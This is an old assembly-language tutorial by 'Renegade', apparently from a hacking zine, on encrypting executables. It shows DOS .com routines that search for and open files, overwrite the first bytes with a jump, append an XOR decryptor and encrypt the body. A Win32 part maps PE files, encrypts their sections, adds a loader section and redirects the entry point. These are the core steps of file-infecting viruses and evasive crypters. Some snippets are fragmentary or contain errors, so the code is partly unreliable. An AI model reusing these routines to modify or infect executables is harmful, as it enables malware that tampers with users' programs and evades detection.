


 
                            A bit of encryption
                            ^^^^^^^^^^^^^^^^^^^
 
                                    by Renegade





DOS:
^^^
Basics steps of a simple com encryption:

-Open file
-Save three bytes
-Append decryptor
-Actual encryption



Searching and opening a file:

mov dx, offset type_of_file        ; .com
mov cx, 3f                         ; any file
mov ah,4e                          ; search for it
int 21                            

mov dx, offset file                ; load offset
mov al,2                           ; read/write
mov ah,3d                          ; open it
int 21


Saving our bytes:

mov ax, word ptr [offset start]    ; beginning of file
mov bl, byte ptr [offset start+2]  ; +2 bytes
mov bytes1_2 ,ax                   ;
mov byte_3, bl                     ; copy saved bytes to b1_2 and b_3


Writing the jump to our file for the decryptor:

mov byte ptr [offset start], 0e9                 ; 0e9 = our jmp
mov ax, end_of_com                               
add ax [offset entrypoint-offset decryptor] -3    
mov word ptr [offset start+1],ax


Our encryption:

mov cx, length              ; Length for encryption (entrypoint-decryptor)
mov bp, offset [start+3]    ; again our jmp
mov bx, decryption_key      ; the key
do_: xor word ptr[bp],bx    ; the important xor
add bp,02                   ; go on...
loop do_                    ; and on..


Decryption:

mov bp, 101                                        ; the CS
push bx                                            ; save IP
add bx, [offset entrypoint-offset decryptor]
undo_: xor word ptr [bp],...
decryption_key whatyouwant                         ; the key
inc bp                                             ; go on
inc bp
cmp bp,bx                                          ; check if dec. complete
jna undo_
ret


Saving and restoring registers:

pusha       ; save the registers
push es
pop es      ; load the regs again
popa
push 100    ; CS:IP
ret         ; return





Win32:
^^^^^


extrn OpenFile: proc             ;
extrn CreateFileMapping: proc    ; some of the most important calls
extrn MapViewOfFile: proc        ;

Opening:

mov file,edi               
call OpenFile                          ; open file
cmp eax, Invalid_handle_value          
jz error                               ; if error jump to "error"

add eax, loader+(2000h)   ; complete size (loader + file alignment)            
call CreateFileMapping,[name],null,page_readwrite,0,eax,null;begin mapping
or eax,eax
jz error_mapping      ; jump out if error
mov [hFileMap],eax
call MapViewOfFile,eax,file_map_write,0,0,0  ; entire mapping
or eax,eax
jz error_mapping         ; on error go out
mov [Image base],eax     ; pointer from MapViewOfFile
mov edi,eax


Using the mapped file you're able to work directly with the offsets in 
memory.Negative aspect: their size cannot be modified, so we have to 
include also the loader adding it's size +2 pages.Otherwise we could have
used allocated buffers (VirtualAlloc;VirualReAlloc).


Getting the right header:

call header_
or eax,eax
jnz notpe
mov [PEHeader],edi         ; edi points to the right header

header_: push ebp
mov ebp,esp                ; saving esp
push ebp
push offset handler_
push dword ptr fs:[0]      ; saving frame
mov fs:[0],esp
cmp dword ptr [edi], DOS_signature     ; let's see if it's a dos exe
jnz mz_                                ; if so go out
mov eax,[edi.e_lfanew]
add edi,eax
cmp dword ptr [edi],PE_signature       ; is it PE ?
jb mz_
mov eax, dword ptr [edi.FileHeader.ImgFlags]
not al
or al,Executable_flag
jz ok_
or ax, dll_image                        ; DLL ?
jz mz_

ok_:xor eax,eax                         ; ok PE found
jmp next_
mz_: stc
sbb eax,eax
next_: pop dword ptr fs:[0]              ; go on 
mov esp,ebp 
pop ebp
ret

movzx eax, [edi.FileHeader.SizeOfOptionalHeader]  ; Size of header
lea eax,[edi+eax+18]
mov [lpSectionTable],eax  ; pointer of section table (needed to get infos
about every section and to add the loader)

mov eax,[edi.OptionalHeader.ImageBase]
mov eax,400000
mov [preferred_base],eax
mov eax,[edi.OptionalHeader.DataDirectory.(Image_DIR_import).VirtualAddress
mov [it_rva],eax
mov eax,[edi.OptionalHeader.DataDir.(Image_DIR_export).VirtualAddress
mov [et_rva],eax
mov eax,[edi.OptionalHeader.DataDir.(Image_DIR_reloc).VirtualAddress
mov [reloc_rva],eax
mov eax,[edi.OptionalHeader.DataDir.(Image_DIR_TLS).VirtualAddress
mov [tls_rva],eax
mov eax,[edi.OptionalHeader.DataDir.(Image_DIR_resource).Virt.Address
mov [rsrc_rva],eax

|________________________________  _______________________________________|
                                 \/
                          Saving allocated variables

Encryption of sections:

movzx edx,[edi.FileHeader.NumberOfSections]     ; Number of sections
xor ebx,ebx
call IsEncryptableObj ; ok ?  no .rdata,tls,.edata
or eax,eax
jz goon_              ; not then skip
mov dword ptr [crypt_flag],20202020 
jmp notenc_       
   
goon_: mov eax,[esi.SVirtualAddress]
mov [section_array.section_rva+ebx*8],eax     ; saving rva to loader
mov ecx,[esi.SizeOfRawData]
mov [section_array.section_vsize+ebx*8],ecx   ; save raw size

Continuing using SizeOfRawData:

pusha      ; saving PE header
mov edi,[esi.PointerToRawData]    ; calculation of ptr
add edi,[Image_base]
cmp eax,[rsrc_rva]
jz handle_
call encrypt
jmp update_
handle_: mov eax,offset ResEncryptCallback
call EnumResources
update_:popa
inc ebx
inc byte ptr [sections_num]
mov dword ptr [crypt_flag],53455920   ; display status = processed

/\
||

check if working on a resource section; increments the section counter the
loader will use.

notenc_: call show_stats     ; display stats
or [esi.SFlags], Image_scn_mem_write ; enable write mode in ALL sections
add esi, image_section_header        ; next section
dec edx
jnz goon_
ret

movzx eax, [edi.FileHeader.NumberOfSections]     ; Number of sections
inc eax                                          ; inc +1
mov ecx, Image_Section_Header                    ; size of sectiom header
mul ecx
add ecx,[lpSectionTable]                         ; offset of section table
mov esi,eax
mov edx,edi
add edx,[edi.OptionalHeader.SizeOfHeaders]       ; size of headers
cmp eax,edx
jg append_to_last

/\
||

here we check if there's enough space between the section table and the
beginning of the raw section.If so a new section will be created,otherwise
a section will be added.

Adding a section:

sub esi,Image_section_header
mov [lploader_section],esi7
inc [edi.FileHeader.NumberOfSections]

/\
||

we'll get a ptr in esi to the unused space => so the number of sections
in the header is incremented by 1.

Calcolating the RVA of our new section:

mov eax,[(esi-Image_section_header).SVirtualSize]
mov ebx,[(esi-Image_section_header).SizeOfRawData]
cmp ebx,eax
jle VAdd_
xchg eax,ebx
VAdd_: add eax,[(esi-Image_section_header).SVirtualAddress]
call SectionAlign
mov [ldr_obj_VA],eax
mov [loader_rva],eax

The RVA of the new entrypoint (saving the old one for returning control):

xchg dword ptr [edi.OptionalHeader.AddressOfEntrypoint],eax
mov [original_entryrva],eax


Calcolating new VSize and RawSize:

mov eax,loader_length
call SectionAlign
mov [ldr_obj_VS],eax
mov eax,loader_length
call FileAlign
mov [ldr_obj_RWS],eax

Calcolation of the offset we're going to write our stuff:

mov ebx,[(esi-Image_section_header).PointerToRawData]
mov eax,[(esi-Image_section_header).SizeOfRawdata]
add ebx,eax
xor edx,edx
div ecx
or edx,edx
mov eax,ebx
add ebx,[image_base]
xor cl,cl

Adjusting the Image size:

mov eax,[ldr_obj_VS]
add eax,[edi.Optional_header.SizeOfImage]
call SectionAlign
mov [edi.Optionalheader.SizeOfImage],eax

Copying the section to the end of the section table/appending it to the 
loader:

mov edi, offset loader_obj
xchg edi,esi
mov ecx, Image_section_header
rep movsb
mov edi,[ldr_obj_RWA]
mov ebx,[image_base]
add edi,ebx
jmp write_

